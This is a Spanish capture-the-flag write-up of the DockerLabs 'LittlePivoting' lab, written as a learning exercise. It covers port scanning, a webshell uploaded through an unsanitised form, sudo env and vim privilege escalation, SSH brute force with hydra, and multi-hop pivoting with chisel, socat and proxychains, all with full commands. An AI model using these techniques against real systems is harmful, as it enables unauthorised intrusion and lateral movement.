LittlePivoting, DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
Tecnicas | Herramientas |
---|---|
scan de puertos | nmap |
reverse shell | urlencodeada |
tratamiento de tty | script, stty, reset |
pivoting | chisel socat |
tunneling | proxychains |
escalada de privilegios | searchbins |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre a la primera maquina en mi caso le tire a la upload.
Upload
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX upload 172.18.0.2
Como vemos solo tenemos el 80 http Nos han dejado una subida de difcheros sin sanitizar nada asi que subimos una revsshhell o webshell para mandadrnos una reverse shell. Una vez debtro con sudl -l vermos que nos has dejado el binario env lo usamos para escalar.
1
sudo env /bin/sh
Realizamos tratamiento tty. Listamos dispositivos y direcciones.
1
2
ls /sys/class/net/
hostname -I
Pivoting
Empezamos con el pivoting, para ello usamos chisel y socat. En la maquina atacante lanzamos una instancia a modo servidor de chisel el cual se queda a la escucha y en la upload lanzamos el cliente de chisel que se conecta al servidor y le dice que cree un tunel en el puerto 11111.
Port forwading
1
./chisel server --reverse -p 11111
En la maquina victima lanzamos el cliente de chisel que se conecta al servidor y le dice que cree un tunel en el puerto 2222.
1
./chisel client 10.10.10.1:11111 R:socks
Con esto conseguim,os que los ver la maquina victima 2 pero ella no nos ve mas adelante y cuando ya tengamos vulnerada la maquina 2 configurearemos socat para que ella nos vea a nosotros y nosotros a ella.
No nos olvidemos de configurar el proxychains para que use el tunel de chisel y poder alcanzar la maquina 2 para escanearla.
1
proxychains nmap -A -n -Pn 20.20.20.3
Ya vemos los puertos de la siguiente maquina, revisemos la web a ver que encontramos a simple vista no nada asi que fuzzing.
1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,txt -t 40 -u http://20.20.20.3 -p socks5://127.0.0.1:1080
Si accedemos a 20.20.20.3/secret.php vemos que nos dan un usuario asi que vamos a realizar fuerza bruta contra ssh y dicho usuario.
1
proxychains hydra -l mario -P Descargas/rockyou.txt/rockyou.txt ssh://20.20.20.3
Una vez conseguido el usuario y la contraseña nos conectamos a la maquina 2.
1
proxychains ssh mario@20.20.20.3
Una vez dentro de la maquina 2 y listamos los dispositivos y direcciones y comprobamos como escalar a root , vemos que nos han dejado a vim. Entramos a vim y ejecutamos el comando :!/bin/bash para ejecutar una shell de bash dentro de vim y manterner los privilegios de root.
Ahora que ya somo root podriamos volver a crear los tunenles de chisel, para ello me abro otra revshell en la maquina 1 para poder mandar los binarios de chisel y socat a la maquina 2.
Recapitulamos de momento tenemos la maquina 1 y la 2, la 1 es la que nos da acceso a la 2 y la 2 es la que nos dara acceso a la 3.
Pero de moemento no vemos desde la atacante la 3 , solo la 1 de modo normal y la dos a traves de proxychains
Ahora en la maquina 1 hemos de empezar a usar socat para que la maquina 2 nos vea a nosotros. Socat nos va a permitir crear un tunel que reenvie todo el trafico de la maquina 2 a traves de la maquina 1 la cual lo vuelve a redirigir a la maquina atacante. Para ello lanzamos socat en la maquina 1 a modo redicreccionanor que escucha en el puerto 1111 y redirige todo el trafico a la maquina atacante.
1
./socat tcp-l:33333,fork,reuseaddr tcp:192.168.0.101:11111
Ahora en la maquina 2 lanzamos el cliente de chisel que se conecta al servidor y le dice que cree un tunel en el puerto 2222.
1
./chisel client 20.20.20.2:33333 R:55555:socks
Con esto conseguimos que la maquina 2 vea a la maquina 1 y la maquina 1 vea a la maquina 2 , tambiwen vemos la maquina 3 pero ella no nos ve a nosotros para enviarnos un revshell deberiamos de crear una instancias tanto en la maquina como en la maquina 2 para dirigir todo el trafico hacia la instacia de chisel server en nuestra maquina atacante. Ahora volvemos a configurar el proxychains para que use el tunel de chisel y poder alcanzar la maquina 3 para escanearla.
Aqui un diagrama para tratar de comprender visualmente que es lo que hacemos:
cortesia de gpt, aunque hubiese sido mas entendible hacerlo con paint
Comments powered by Disqus.